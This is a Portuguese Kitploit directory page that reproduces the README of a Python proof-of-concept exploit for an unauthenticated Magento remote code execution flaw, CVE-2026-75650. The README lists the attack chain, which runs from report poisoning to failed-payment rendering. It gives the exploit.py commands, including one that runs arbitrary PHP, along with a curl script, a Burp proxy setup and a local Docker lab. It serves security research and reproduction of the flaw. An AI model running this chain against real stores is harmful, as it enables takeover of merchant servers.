Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
stylesmuggler — PoC em Python que reproduz o CVE-2026-75650 StyleSmuggler, um RCE não autenticado no Magento através de envenenamento de relatórios e renderização de pagamentos falhados, com verificação por canário. | Kitploit
Ferramentas/GitHubGitHub/fortbridge/stylesmuggler
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubfortbridge/stylesmuggler

stylesmuggler

PoC em Python que reproduz o CVE-2026-75650 StyleSmuggler, um RCE não autenticado no Magento através de envenenamento de relatórios e renderização de pagamentos falhados, com verificação por canário.

Ver Repositório
há 9h 29mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

StyleSmuggler HTTP PoC

Repositório de pesquisa privado para a reprodução apenas via HTTP do StyleSmuggler, CVE-2026-75650, contra um laboratório local do Magento Open Source.

Leia o passo a passo técnico completo em Magento StyleSmuggler RCE: Report Poisoning to Code Execution.

O PoC em Python executa a sequência completa não autenticada:

  1. envenenar um relatório de erro do Magento e ler seu ID de relatório a partir da resposta;
  2. criar um carrinho de convidado;
  3. definir o e-mail do convidado exigido pela notificação de pagamento falhado;
  4. armazenar a construção aninhada do parser de endereço de cobrança;
  5. disparar a renderização de pagamento falhado com type, text e styles na query string;
  6. buscar um canary novo por execução via HTTP.

Ele nunca copia um helper para o contêiner nem invoca o scanner através do Docker. A biblioteca padrão do Python é suficiente.

Executar contra um laboratório existente

root@kitploit:~
python3 exploit.py --target http://localhost:18082

A saída final deve conter e o mesmo marcador novo impresso anteriormente naquela execução. Um canary existente não pode satisfazer a verificação porque cada execução gera um novo marcador.

RCE VERIFIED
STYLESMUGGLER_RUN_...

O caminho do relatório deve ser o caminho visto pelo processo PHP de destino. Substitua-o quando o Magento usar outro document root:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --report-dir /srv/magento/var/report

PHP personalizado

Passe instruções PHP sem <?php ou ?>:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'

curl -sS http://localhost:18082/custom-test.txt

O PoC grava seu marcador de verificação novo antes de executar o fragmento fornecido e ainda verifica esse marcador depois.

Burp

Todas as requisições, incluindo o envenenamento do relatório e a busca final do canary, podem ser enviadas através de um proxy HTTP:

root@kitploit:~
python3 exploit.py \
  --target http://localhost:18082 \
  --proxy http://127.0.0.1:8082

Adicione --proxy-insecure para um destino HTTPS cujo certificado interceptado não é confiável pelo Python.

Fluxo manual com curl

curl_failed_payment.sh executa as quatro requisições do Estágio 2 e rotula o componente do Magento alcançado por cada requisição. Ele requer curl, jq e openssl:

root@kitploit:~
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Defina outro destino ou listener do Burp através de variáveis de ambiente:

root@kitploit:~
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Destino local

docker-compose.yml fornece serviços isolados de MySQL, OpenSearch e PHP/Apache em 127.0.0.1:18082. Ele espera uma árvore de código-fonte do Magento instalada em ./magento2-src.

A validação final limpa usou o commit do Magento:

root@kitploit:~
f8405be831efa461ec18cc5a637cd98afa767015

Clone o código-fonte e instale suas dependências do Composer antes de executar o processo normal setup:install do Magento:

root@kitploit:~
git clone --filter=blob:none --branch 2.4-develop \
  https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015

docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction

Depois que o Magento estiver instalado com host de banco de dados db, host do OpenSearch opensearch e URL base http://localhost:18082/, inicie o serviço web:

root@kitploit:~
docker compose up -d web
docker compose ps
Baixar ferramenta